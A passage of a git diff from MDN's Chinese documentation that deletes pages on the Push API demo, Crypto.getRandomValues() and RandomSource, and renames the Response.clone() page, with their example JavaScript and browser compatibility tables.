特性AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

* 在 about:flags 中要求这些特性被启用或是使用 --enable-pointer-lock 标记启动 Chrome。

+ +

参见

+ +

{{ spec("http://dvcs.w3.org/hg/pointerlock/raw-file/default/index.html", "W3C Pointer Lock API Specification", "ED") }}

+ +

MouseEvent

diff --git a/files/zh-cn/web/api/push_api/using_the_push_api/index.html b/files/zh-cn/web/api/push_api/using_the_push_api/index.html deleted file mode 100644 index e616d4e12d..0000000000 --- a/files/zh-cn/web/api/push_api/using_the_push_api/index.html +++ /dev/null @@ -1,424 +0,0 @@ ---- -title: Using the Push API -slug: Web/API/Push_API/Using_the_Push_API -tags: - - Push - - Push API - - Service Workers - - Using the Push API -translation_of: Web/API/Push_API -translation_of_original: Web/API/Push_API/Using_the_Push_API ---- -

W3C Push API 为开发人员在Web应用程序中提供了一些令人兴奋的新功能:本文提供了一个简单的演示,以获取Push通知的设置和运行。

- -

在任何时候——不论这一应用是否处于激活状态——从服务器向客户端推送消息或者通知的能力,是一种原生应用已经享受了一段时间的能力。现在 Web 应用也拥有了这一能力。桌面系统上的 Firefox 43+ 和 Chrome 42+ 已经支持 Push 的大部分功能,移动平台也很可能在不久的将来提供支持。 {{domxref("PushMessageData")}} 当前只在 Firefox Nightly (44+) 中提供实验性的支持,并且这一实现也可能会变更。

- -
-

Note: Firefox OS 的早期版本使用了这一 API 的一个 proprietary 版本,叫做 Simple Push ,现在已经被 Push API 标准废弃。

-
- -

Demo: the basis of a simple chat server app

- -

我们创建的这一 demo 是一个简单的聊天应用。它提供了一个表单,用来输入聊天内容,还有一个按钮,用来订阅(subscribe)推送的消息。按下按钮后,你将订阅这一消息推送服务,服务器会记录你的信息,同时当前所有的订阅者会收到一个推送消息,告诉他们有人订阅。

- -

此时,新订阅者的名字会出现在订阅者列表上,同时界面上会出现一个文本域和一个提交按钮,允许订阅者发送消息。

- -

- -

要运行这一 demo,请参阅 push-api-demo README。请注意,想要在 Chrome 中使用这一应用并且以一个更合理的方式运行,服务器端还需要大量的工作。然而,推送的细节解释起来特别麻烦,我们先概览这个推送接口是怎么运作的,然后再回来详细了解。

- -

Technology overview

- -

这一部分提供了这一例子中用到的技术的概览。

- -

Web Push 消息是 service workers 技术族的一部分;特别的,一个service worker想要接收消息,就必须在一个页面上被激活。 在 service worker 接收到推送的消息后,你可以决定如何显示这一消息。你可以:

- - - -

通常这两者可以结合使用,下面的 demo 显示了两者的特点。

- -
-

注:你需要在服务器端部署某种形式的代码来处理endpoint数据的加密和发送推送消息的请求。 在我们的Demo里,我们把那些代码放进了一个快速、劣质的服务器代码(a quick-and-dirty server )里,部署在 NodeJS 上。

-
- -

service worker 需要订阅推送消息服务。在订阅服务时,每一个会话会有一个独立的端点(endpoint)。订阅对象的属性({{domxref("PushSubscription.endpoint")}}) 即为端点值。将端点发送给服务器后,服务器用这一值来发送消息给会话的激活的 service worker。不同浏览器需要用不同的推送消息服务器。

- -

加密(Encryption)

- -
-

Note: For an interactive walkthrough, try JR Conlin's Web Push Data Encryption Test Page.

-
- -

在通过推送消息发送数据时,数据需要进行加密。数据加密需要通过 {{domxref("PushSubscription.getKey()")}} 方法产生的一个公钥。这一方法在服务器端运行,通过复杂的密码学机制来生成公钥,详情可参阅 Message Encryption for Web Push 。以后可能会有更多用于处理推送消息加密的库出现,在这一 demo 中,我们使用 Marco Castelluccio's NodeJS web-push library.

- -
-

Note: There is also another library to handle the encryption with a Node and Python version available, see encrypted-content-encoding.

-
- -

Push workflow summary

- -

这里我们总结一下推送消息的实现。在之后的章节中你可以找到这一 demo 代码的更多细节。

- -
    -
  1. 请求 web 通知及你所使用的其他功能的权限。
  2. -
  3. 调用 {{domxref("ServiceWorkerContainer.register()")}} ,注册一个 service worker。
  4. -
  5. 使用 {{domxref("PushManager.subscribe()")}} 订阅推送消息。
  6. -
  7. 取得与订阅相关联的 endpoint ({{domxref("PushSubscription.endpoint")}}),并且生成一个客户公钥({{domxref("PushSubscription.getKey()")}}) 。注意 getKey() 是试验性的,只在 Firefox 有效。
  8. -
  9. 将详细信息发送给服务器,服务器可以用这些信息来发送推送消息。这一 demo 使用 {{domxref("XMLHttpRequest")}} ,但你也可以使用 Fetch
  10. -
  11. 如果你使用 Channel Messaging API 来和 service worker 通信,则创建一个新的 message channel ({{domxref("MessageChannel.MessageChannel()")}}) ,并且在 service worker 调用 {{domxref("Worker.postMessage()")}} ,将 port2 发送给 service worker ,以建立 communication channel 。你应该设置一个 listener 来响应从 service worker 发来的消息。
  12. -
  13. 在服务器端,存储端点以及其他在发送推送消息给订阅者时需要的信息(我们使用一个简单的文本文件,但你可以使用数据库,或者其他你喜欢的方式)。在生产环境中,请保护好这些信息,以防恶意的攻击者用这些信息给订阅者推送垃圾消息。
  14. -
  15. 要发送一个推送消息,你需要向端点 URL 发送一个 HTTP POST 。这一请求需要包括一个 TTL 头,用来规定用户离线时消息队列的最大长度。要在请求中包括数据,你需要使用客户公钥进行加密。在我们的 demo 中,我们使用 web-push 模块来处理困难的部分。
  16. -
  17. 在你的 service worker 中,设置一个 push 事件句柄来响应接收到的推送消息。 -
      -
    1. 如果你想要将一个信道消息发送回主 context(看第6步),你需要先取得之前发送给 service worker 的  port2 的引用 ({{domxref("MessagePort")}}) 。这个可以通过传给 onmessage handler ({{domxref("ServiceWorkerGlobalScope.onmessage")}}) 的{{domxref("MessageEvent")}} 对象取得。 具体地说,是 ports 属性的索引 0 。 之后你可以用 {{domxref("MessagePort.postMessage()")}} 来向 port1 发送消息 。
    2. -
    3. 如果你想要使用系统通知,可以调用 {{domxref("ServiceWorkerRegistration.showNotification()")}} 。注意,在我们的代码中,我们将其运行在一个 {{domxref("ExtendableEvent.waitUntil()")}} 方法中——这样做将事件的 生命周期(lifetime)扩展到了通知被处理后,使得我们可以确认事情像我们期望的那样进行。
    4. -
    -
  18. -
- -

Building up the demo

- -

让我们浏览一下 demo 的代码,理解一下它是如何工作的。

- -

The HTML and CSS

- -

这个 demo 的 HTML 和 CSS 没有什么需要特别留意的地方。初始化时,HTML包含一个简单的表单、一个按钮和两个列表。按钮用来订阅,两个列表分别显示订阅者和聊天消息。订阅之后,会出现用来输入聊天消息的控件。

- -

为了对不干扰 Push API 的理解,CSS被设计得非常简单。

- -

The main JavaScript file

- -

JavaScript 明显更加重要。让我们看看主 JS 文件。

- -

Variables and initial setup

- -

开始时,我们声明一些需要使用的变量:

- -
var isPushEnabled = false;
-var useNotifications = false;
-
-var subBtn = document.querySelector('.subscribe');
-var sendBtn;
-var sendInput;
-
-var controlsBlock = document.querySelector('.controls');
-var subscribersList = document.querySelector('.subscribers ul');
-var messagesList = document.querySelector('.messages ul');
-
-var nameForm = document.querySelector('#form');
-var nameInput = document.querySelector('#name-input');
-nameForm.onsubmit = function(e) {
-  e.preventDefault()
-};
-nameInput.value = 'Bob';
- -

首先,是两个布尔变量,一个用来记录 Push 是否被订阅,一个用来记录是否有通知的权限。

- -

其次,是订阅/取消订阅 {{htmlelement("button")}} 的引用,以及发送消息按钮的引用和输入的引用(订阅成功之后按钮和输入才会创建)。

- -

接下来,是页面上的三个{{htmlelement("div")}} 元素的引用,在需要插入元素时会用到(比如创建 Send Chat Message 按钮,或者 Messages 列表中增加聊天消息时)。

- -

最后,是 name selection 表单和 {{htmlelement("input")}} 元素的引用。我们给 input 一个默认值,并且使用 preventDefault() 方法,让按下回车时不会自动提交表单。

- -

之后,我们通过 {{domxref("Notification.requestPermission","requestPermission()")}} 请求发送web通知的权限:

- -
Notification.requestPermission();
- -

onload 时我们运行一段代码,让应用开始初次加载时的初始化过程。首先我们给 subscribe/unsubscribe 按钮添加 click event listener ,让这一按钮在已经订阅(isPushEnabled为真)时执行 unsubscribe() 函数,否则执行 subscribe()

- -
window.addEventListener('load', function() {
-  subBtn.addEventListener('click', function() {
-    if (isPushEnabled) {
-      unsubscribe();
-    } else {
-      subscribe();
-    }
-  });
- -

之后,我们检查 service workers 是否被支持。如果支持,则用 {{domxref("ServiceWorkerContainer.register()")}} 注册一个 service worker 并且运行 initialiseState() 函数。若不支持,则向控制台输出一条错误信息。

- -
  // Check that service workers are supported, if so, progressively
-  // enhance and add push messaging support, otherwise continue without it.
-  if ('serviceWorker' in navigator) {
-    navigator.serviceWorker.register('sw.js').then(function(reg) {
-      if(reg.installing) {
-        console.log('Service worker installing');
-      } else if(reg.waiting) {
-        console.log('Service worker installed');
-      } else if(reg.active) {
-        console.log('Service worker active');
-      }
-
-      initialiseState(reg);
-    });
-  } else {
-    console.log('Service workers aren\'t supported in this browser.');
-  }
-});
-
- -

接下来是 initialiseState() 函数。查看 initialiseState() source on Github 可获得有注释的完整源码(简洁起见,此处省略)。

- -

initialiseState() 首先检查 service workers 是否支持 notifications ,如果支持则将 useNotifications 变量设为真。之后检查用户是否允许 said notifications , push messages 是否支持,并分别进行设置。

- -

最后,使用 {{domxref("ServiceWorkerContainer.ready()")}} 来检测 service worker 是否被激活并开始运行,会返回一个Promise对象。当这一 promise 对象 resolve 时,我们访问 {{domxref("ServiceWorkerRegistration.pushManager")}} 属性,得到一个 {{domxref("PushManager")}} 对象,再调用该对象的 {{domxref("PushManager.getSubscription()")}}方法,最终获得用来推送消息的订阅对象。当第二个 promise 对象 resolve 时,我们启用 subscribe/unsubscribe 按钮(subBtn.disabled = false;),并确认订阅对象。

- -

这样做了之后,订阅的准备工作已经完成了。即使这一应用并没有在浏览器中打开, service worker 也依然可能在后台处于激活状态。如果我们已经订阅,则对UI进行更新,修改按钮的标签,之后将 isPushEnabled 设为真,通过 {{domxref("PushSubscription.endpoint")}} 取得订阅的端点,通过 {{domxref("PushSubscription.getKey()")}} 生成一个公钥,调用 updateStatus() 方法与服务器进行通信。

- -

此外,我们通过 {{domxref("MessageChannel.MessageChannel()")}} 得到一个新的 {{domxref("MessageChannel")}} 对象,并通过 {{domxref("ServiceworkerRegistration.active")}} 得到一个激活的 service worker 的引用,然后通过 {{domxref("Worker.postMessage()")}} 在主浏览器 context 和 service worker 间建立起一个信道。浏览器 context 接收 {{domxref("MessageChannel.port1")}} 中的消息。当有消息到来时,我们使用 handleChannelMessage() 方法来决定如何处理数据(参阅{{anch("Handling channel messages sent from the service worker")}})。

- -

订阅和取消订阅(Subscribing and unsubscribing)

- -

现在把我们的注意力转到 subscribe() 和 unsubscribe() 函数上,它们用来订阅或取消订阅 来自服务器的通知。

- -

在订阅的时候,我们使用 {{domxref("ServiceWorkerContainer.ready()")}}方法再一次确认service worker处于激活状态并且可以使用了。当 promise 成功执行,我们用{{domxref("PushManager.subscribe()")}}方法订阅服务。如果订阅成功,我们会得到一个 {{domxref("PushSubscription")}} 对象,它携带了endpoint信息 ,并且可以产生(generate)一个公钥的方法 (再多说一点,{{domxref("PushSubscription.endpoint")}}属性和{{domxref("PushSubscription.getKey()")}}方法),我们要把这两个信息传递给updateStatus() 函数,同时还要传递第三个信息——更新状态的类型(订阅还是不订阅),让它能够把这些必要的细节传递给服务器。

- -

我们也需要更新我们应用的状态 (设置 isPushEnabledtrue) 和 UI (激活订阅或者不订阅的按钮,同时改变标签的显示状态,让用户下一次点击按钮的时候变成不订阅的状态或者订阅的状态。)

- -

不订阅 unsubscribe() 函数在结构上和订阅函数相识,然而基本上它们做的是完全相反的事; 最值得注意的不同是得到当前订阅对象是使用{{domxref("PushManager.getSubscription()")}}方法,而且使用{{domxref("PushSubscription.unsubscribe()")}}方法获得的promise对象。

- -

在两个函数中也提供了适当的错误处理函数。

- -

为了节省时间,我们只在下面展示subscribe()的代码;查看全部请点击 subscribe/unsubscribe code on Github.

- -
function subscribe() {
-  // Disable the button so it can't be changed while
-  // we process the permission request
-
-  subBtn.disabled = true;
-
-  navigator.serviceWorker.ready.then(function(reg) {
-    reg.pushManager.subscribe({userVisibleOnly: true})
-      .then(function(subscription) {
-        // The subscription was successful
-        isPushEnabled = true;
-        subBtn.textContent = 'Unsubscribe from Push Messaging';
-        subBtn.disabled = false;
-
-        // Update status to subscribe current user on server, and to let
-        // other users know this user has subscribed
-        var endpoint = subscription.endpoint;
-        var key = subscription.getKey('p256dh');
-        updateStatus(endpoint,key,'subscribe');
-      })
-      .catch(function(e) {
-        if (Notification.permission === 'denied') {
-          // The user denied the notification permission which
-          // means we failed to subscribe and the user will need
-          // to manually change the notification permission to
-          // subscribe to push messages
-          console.log('Permission for Notifications was denied');
-
-        } else {
-          // A problem occurred with the subscription, this can
-          // often be down to an issue or lack of the gcm_sender_id
-          // and / or gcm_user_visible_only
-          console.log('Unable to subscribe to push.', e);
-          subBtn.disabled = false;
-          subBtn.textContent = 'Subscribe to Push Messaging';
-        }
-      });
-  });
-}
- -

更新应用和服务器的状态

- -

接下来的一个主要的JavaScript函数就是updateStatus(),当订阅和取消订阅的时候,它负责更新UI中与服务器沟通的信息并发送状态更新的请求给服务器。

- -

这个函数做了三件事当中的哪一件事,取决于下面赋值给statusType的类型:

- - - -

再多说一句,为了简介这里不会展示全部的代码。检查全部代码点击: full updateStatus() code on Github.

- -

处理在service worker中发送过来的channel message

- -

正如刚才我们提到的,当我们接收到从service worker发送的channel message 时,我们的 handleChannelMessage() 函数才会去执行它。 我们用{{domxref("channel.port1.onmessage")}}事件处理函数去处理{{event("message")}} event, :

- -
channel.port1.onmessage = function(e) {
-  handleChannelMessage(e.data);
-}
- -

这个函数会在service worker中发送信息给页面的时候在页面中执行(This occurs when the service worker sends a channel message over)。

- -

 handleChannelMessage() 函数如下:

- -
function handleChannelMessage(data) {
-  if(data.action === 'subscribe' || data.action === 'init') {
-    var listItem = document.createElement('li');
-    listItem.textContent = data.name;
-    subscribersList.appendChild(listItem);
-  } else if(data.action === 'unsubscribe') {
-    for(i = 0; i < subscribersList.children.length; i++) {
-      if(subscribersList.children[i].textContent === data.name) {
-        subscribersList.children[i].parentNode.removeChild(subscribersList.children[i]);
-      }
-    }
-    nameInput.disabled = false;
-  } else if(data.action === 'chatMsg') {
-    var listItem = document.createElement('li');
-    listItem.textContent = data.name + ": " + data.msg;
-    messagesList.appendChild(listItem);
-    sendInput.value = '';
-  }
-}
- -

这个函数会做什么取决于传入的action参数的赋值:

- - - -
-

注:  我们需要在更新DOM之前传递需要的数据给主页面(main context), 因为service worker不能操作DOM。你在使用前一定要知道service worker的一些限制。阅读 Using Service Workers 获取更多细节.

-
- -

发送聊天信息

- -

当‘Send Chat Message‘ 按钮被点击后,相关联的文本域的内容就作为聊天内容被发送出去。这个由 sendChatMessage() 函数处理(再多说一句,为了简洁就不展示了). 这个和 updateStatus() 的不同之处也是差不多的。 (查看 {{anch("Updating the status in the app and server")}}) — 我们获得 endpoint 和 public key 是来自一个 {{domxref("PushSubscription")}} 对象, 这个对象又是来自于 {{domxref("ServiceWorkerContainer.ready()")}} 方法和{{domxref("PushManager.subscribe()")}}方法。它们(endpoint、public key)被传递进一个字面量对象里面( in a message object),同时含有订阅用户的名字,聊天信息,和chatMsg的statusType,然后通过{{domxref("XMLHttpRequest")}}对象发送出去的,。

- -

服务端(The Server)

- -

正如我们上面提到的,我们需要一个服务端的容器去存储订阅者的信息,并且还要在状态更新时发送推送消息给客户端。 我们已经用一种hack的方式把一些需要的东西放到了一个快速-劣质(quick-and-dirty)的NodeJS 服务端上(server.js),用于处理来自客户端JavaScript的异步请求。

- -

它用一个文本文件 (endpoint.txt)去存储订阅者的信息;这个文件一开始是空的(empty)。 有四种不同类型的请求,分别由被传输过来的对象中的statusType决定;这些在客户端通俗易懂的的状态类型同样也适用于服务端,因为服务端也有相同的状态。下面是这四个个状态在服务端代表的各自的含义。

- - - -

其他需要注意的东西:

- - - -

The service worker

- -

现在让我们来看看服务工作者代码(sw.js),它响应由{{Event("push")}}事件表示的推送消息。 这些通过({{domxref("ServiceWorkerGlobalScope.onpush")}})事件处理程序在服务工作人员的范围内处理; 它的工作就是为每个收到的消息做出回应。 我们首先通过调用{{domxref("PushMessageData.json()")}}将收到的消息转换回对象。然后,通过查看这个对象的action属性,就能知道这个推送消息的类型:

- - - -
self.addEventListener('push', function(event) {
-  var obj = event.data.json();
-
-  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
-    fireNotification(obj, event);
-    port.postMessage(obj);
-  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
-    port.postMessage(obj);
-  }
-});
- -

下一步, 让我们看看 fireNotification() 函数的代码 (它真的太他妈简单了).

- -
function fireNotification(obj, event) {
-  var title = 'Subscription change';
-  var body = obj.name + ' has ' + obj.action + 'd.';
-  var icon = 'push-icon.png';
-  var tag = 'push';
-
-  event.waitUntil(self.registration.showNotification(title, {
-    body: body,
-    icon: icon,
-    tag: tag
-  }));
-}
- -

我们先在这里列出通知消息框所需要的资源:标题、主体内容、图标。然后我们通过 {{domxref("ServiceWorkerRegistration.showNotification()")}} 方法把这个通知发送出去,同时提供一个"push"给tag属性,表示这是一个推送消息,以便我们能够在全部的通知消息中找到(identify)这个推送消息。 当我们成功发送一条推送消息,它可能会在用户对应的电脑或者设备上展示一个系统通知对话框,在不同的设备上通知对话框的外观可能是不一样的(下面的这张图片展示的是Mac OSX系统上的通知对话框)。

- -

- -

注意,我们做的这些都包裹在{{domxref("ExtendableEvent.waitUntil()")}} 方法里;这是为了让ServiceWorker在发送通知消息的过程中依然保持活动,知道消息发送完成。 waitUntil() 会延长service worker的生命周期至(这个周期里)所有活动都已经完成。

- -
-

Note: Web notifications from service workers were introduced around Firefox version 42, but are likely to be removed again while the surrounding functionality (such as Clients.openWindow()) is properly implemented (see {{bug(1203324)}} for more details.)

-
- -

处理推送订阅过早失效(Handling premature subscription expiration)

- -

有时候,推送订阅会过早失效,而不会调用{{domxref("PushSubscription.unsubscribe()")}} 。例如,当服务器过载或长时间处于脱机状态时,可能会发生这种情况。这是高度依赖于服务器的,所以确切的行为很难预测。 在任何情况下,您都可以通过查看{{Event("pushsubscriptionchange")}} 事件来处理此问题,您可以通过提供{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}} 事件处理程序来侦听此事件;这个事件只会在这种情况下才会被触发。

- -
self.addEventListener('pushsubscriptionchange', function() {
-  // do something,一般来说都会在这里重新订阅,
-  // 并通过XHR或者Fetch发送新的订阅信息回服务器
-});
- -

注意,我们在demo里没有覆盖这种情况,因为订阅端点(subscription ending)作为一个简单的聊天服务器并不是什么难事。但是对于更复杂的示例,您可能需要重新订阅(resubscribe )用户。

- -

(让Chrome支持的额外步骤)Extra steps for Chrome support

- -

为了让应用也能够在Chrome上面运行,我们需要一些额外的步骤,因为在Chrome上,现在需要依赖谷歌云消息推送(Google's Cloud Messaging) 服务才能正常工作。

- -

配置谷歌云消息推送(Setting up Google Cloud Messaging)

- -

按照以下步骤配置:

- -
    -
  1. 跳转到 Google Developers Console  然后创建一个新项目。
  2. -
  3. 进入你项目主页(例如:我们的示例是在 https://console.developers.google.com/project/push-project-978), 然后 -
      -
    1. 在你的应用选项里打开 Google APIs
    2. -
    3. 在下一屏,在移动API那一部分下面点击“Cloud Messaging for Android” 。
    4. -
    5. 点击开启API按钮。
    6. -
    -
  4. -
  5. 现在你需要记下你的项目编号和API key,因为待会儿你会用到他们。 它们在这些地方: -
      -
    1. 项目编号: 点击左侧的主页;项目编号在你的项目主页上方很容易看见的位置。
    2. -
    3. API key: 点击左边菜单里的证书(Credentials );API key 能够在这个页面找到。
    4. -
    -
  6. -
- -

manifest.json

- -

你需要在你的应用里包含Google应用风格的 manifest.json ,这里面的 gcm_sender_id 参数需要设置为你的项目编号。下面是一个简单的示例(manifest.json):

- -
{
-  "name": "Push Demo",
-  "short_name": "Push Demo",
-  "icons": [{
-        "src": "push-icon.png",
-        "sizes": "111x111",
-        "type": "image/png"
-      }],
-  "start_url": "/index.html",
-  "display": "standalone",
-  "gcm_sender_id": "224273183921"
-}
- -

同时,你也需要在HTML文档用一个{{HTMLElement("link")}} 标签里指向你的manifest文件:

- -
<link rel="manifest" href="manifest.json">
- -

userVisibleOnly参数

- -

Chrome 要求你在订阅推送服务的时候设置 userVisibleOnly 参数 为 true , 表示我们承诺每当收到推送通知时都会显示通知。这可以在我们的 subscribe() 函数 中看到。

- -

See also

- - - -
-

Note: Some of the client-side code in our Push demo is heavily influenced by Matt Gaunt's excellent examples in Push Notifications on the Open Web. Thanks for the awesome work, Matt!

-
diff --git a/files/zh-cn/web/api/randomsource/getrandomvalues/index.html b/files/zh-cn/web/api/randomsource/getrandomvalues/index.html deleted file mode 100644 index 5df5fb0a83..0000000000 --- a/files/zh-cn/web/api/randomsource/getrandomvalues/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Crypto.getRandomValues() -slug: Web/API/RandomSource/getRandomValues -tags: - - API - - 加密 - - 参考 - - 安全 - - 密码学 - - 方法 -translation_of: Web/API/Crypto/getRandomValues ---- -

{{APIRef("Web Crypto API")}}

- -

Crypto.getRandomValues() 方法让你可以获取符合密码学要求的安全的随机值。传入参数的数组被随机值填充(在加密意义上的随机)。

- -

为了确保足够的性能,不使用真正的随机数生成器,但是它们正在使用具有足够熵值伪随机数生成器。它所使用的 PRNG 的实现与其他不同,但适用于加密的用途。该实现还需要使用具有足够熵的种子,如系统级熵源。

- -

语法

- -
cryptoObj.getRandomValues(typedArray);
- -

参数

- -
-
typedArray
-
是一个基于整数的 {{jsxref("TypedArray")}},它可以是 {{jsxref("Int8Array")}}、{{jsxref("Uint8Array")}}、{{jsxref("Int16Array")}}、 {{jsxref("Uint16Array")}}、 {{jsxref("Int32Array")}} 或者 {{jsxref("Uint32Array")}}。在数组中的所有的元素会被随机数重写。(注释:生成的随机数储存在 typedArray 数组上。)
-
- -

异常事件

- - - -

例子

- -
/* 假设 window.crypto.getRandomValues 可用 */
-
-var array = new Uint32Array(10);
-window.crypto.getRandomValues(array);
-
-console.log("Your lucky numbers:");
-for (var i = 0; i < array.length; i++) {
-    console.log(array[i]);
-}
-
- -

标准

- - - - - - - - - - - - - - -
规范状态备注
{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}{{Spec2('Web Crypto API')}}Initial definition
- -

浏览器兼容性

- - - -

{{Compat("api.Crypto.getRandomValues")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/randomsource/index.html b/files/zh-cn/web/api/randomsource/index.html deleted file mode 100644 index 1366009032..0000000000 --- a/files/zh-cn/web/api/randomsource/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: RandomSource -slug: Web/API/RandomSource -translation_of: Web/API/Crypto/getRandomValues -translation_of_original: Web/API/RandomSource ---- -

{{APIRef("Web Crypto API")}}

- -

RandomSource 代表密码学安全随机数的来源。它可以通过全局对象的 {{domxref("Crypto")}} 获取:网页中的 {{domxref("Window.crypto")}},Workrt 里面的 {{domxref("WorkerGlobalScope.crypto")}}。

- -

RandomSource 不是一个接口,这个类型的对象不可以被创建。

- -

属性

- -

RandomSource 既没有定义也没有属性。

- -
-
- -

方法

- -
-
{{ domxref("RandomSource.getRandomValues()") }}
-
使用密码学可靠的随机值填充传递过来的 {{ domxref("ArrayBufferView") }}。
-
- -

标准

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Crypto API', '#dfn-RandomSource')}}{{Spec2('Web Crypto API')}}Initial definition
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support11.0 {{ webkitbug("22049") }}{{CompatVersionUnknown}}{{CompatGeckoDesktop(21)}} [1]11.015.03.1
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}23{{CompatVersionUnknown}}{{CompatGeckoMobile(21)}}{{ CompatNo() }}{{ CompatNo() }}6
-
- -

[1] Although the transparent RandomSource is only available since Firefox 26, the feature was available in Firefox 21.

- -

参见

- - diff --git a/files/zh-cn/web/api/response/clone/index.html b/files/zh-cn/web/api/response/clone/index.html new file mode 100644 index 0000000000..0efccea0dc --- /dev/null +++ b/files/zh-cn/web/api/response/clone/index.html @@ -0,0 +1,143 @@ +--- +title: Response.clone() +slug: Web/API/Response/克隆 +tags: + - API + - Experimental + - Fetch + - Method + - Reference + - Response + - clone +translation_of: Web/API/Response/clone +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Response")}} 接口的 clone() 方法创建了一个响应对象的克隆,这个对象在所有方面都是相同的,但是存储在一个不同的变量中。

+ +

如果已经使用了响应 {{domxref("Body")}},clone() 会抛出{{jsxref("TypeError")}}。 实际上,clone()存在的主要原因是允许多次使用{{domxref("Body")}}对象(当它们是一次性使用的时候)。

+ +

语法

+ +
var response2 = response1.clone();
+ +

Parameters

+ +

None.

+ +

Value

+ +

一个 {{domxref("Response")}} 对象.

+ +

示例

+ +

在我们的 Fetch Response 克隆示例 (请参阅 Fetch Response clone live) 我们使用{{domxref("Request.Request","Request()")}} 构造函数创建一个新的 {{domxref("Request")}} 来传递一个 JPG 路径。 然后我们使用 {{domxref("GlobalFetch.fetch","fetch()")}} 获取这个请求。 当 fetch resolve 时,我们克隆它,使用两个{{domxref("Body.blob")}}调用从两个响应中提取blob,使用{{domxref("URL.createObjectURL")}} 从blob创建对象URL,并将它们显示在两个单独的{{htmlelement("img")}}元素中。

+ +
var image1 = document.querySelector('.img1');
+var image2 = document.querySelector('.img2');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  var response2 = response.clone();
+
+  response.blob().then(function(myBlob) {
+    var objectURL = URL.createObjectURL(myBlob);
+    image1.src = objectURL;
+  });
+
+  response2.blob().then(function(myBlob) {
+    var objectURL = URL.createObjectURL(myBlob);
+    image2.src = objectURL;
+  });
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-response-clone','clone()')}}{{Spec2('Fetch')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42)}}
+ {{CompatChrome(41)}}[1]
{{CompatVersionUnknown}}{{CompatGeckoDesktop(39)}}
+ 34[1]
{{CompatNo}} +

29
+ 28[1]

+
{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] 此功能是在首选项后面实现的。

+ +

See also

+ + diff --git "a/files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" "b/files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" deleted file mode 100644 index 0efccea0dc..0000000000 --- "a/files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Response.clone() -slug: Web/API/Response/克隆 -tags: - - API - - Experimental - - Fetch - - Method - - Reference - - Response - - clone -translation_of: Web/API/Response/clone ---- -
{{APIRef("Fetch")}}
- -

{{domxref("Response")}} 接口的 clone() 方法创建了一个响应对象的克隆,这个对象在所有方面都是相同的,但是存储在一个不同的变量中。

- -

如果已经使用了响应 {{domxref("Body")}},clone() 会抛出{{jsxref("TypeError")}}。 实际上,clone()存在的主要原因是允许多次使用{{domxref("Body")}}对象(当它们是一次性使用的时候)。

- -

语法

- -
var response2 = response1.clone();
- -

Parameters

- -

None.

- -

Value

- -

一个 {{domxref("Response")}} 对象.

- -

示例

- -

在我们的 Fetch Response 克隆示例 (请参阅 Fetch Response clone live) 我们使用{{domxref("Request.Request","Request()")}} 构造函数创建一个新的 {{domxref("Request")}} 来传递一个 JPG 路径。 然后我们使用 {{domxref("GlobalFetch.fetch","fetch()")}} 获取这个请求。 当 fetch resolve 时,我们克隆它,使用两个{{domxref("Body.blob")}}调用从两个响应中提取blob,使用{{domxref("URL.createObjectURL")}} 从blob创建对象URL,并将它们显示在两个单独的{{htmlelement("img")}}元素中。

- -
var image1 = document.querySelector('.img1');
-var image2 = document.querySelector('.img2');
-
-var myRequest = new Request('flowers.jpg');
-
-fetch(myRequest).then(function(response) {
-  var response2 = response.clone();
-
-  response.blob().then(function(myBlob) {
-    var objectURL = URL.createObjectURL(myBlob);
-    image1.src = objectURL;
-  });
-
-  response2.blob().then(function(myBlob) {
-    var objectURL = URL.createObjectURL(myBlob);
-    image2.src = objectURL;
-  });
-});
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Fetch','#dom-response-clone','clone()')}}{{Spec2('Fetch')}}Initial definition
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42)}}
- {{CompatChrome(41)}}[1]
{{CompatVersionUnknown}}{{CompatGeckoDesktop(39)}}
- 34[1]
{{CompatNo}} -

29
- 28[1]

-
{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
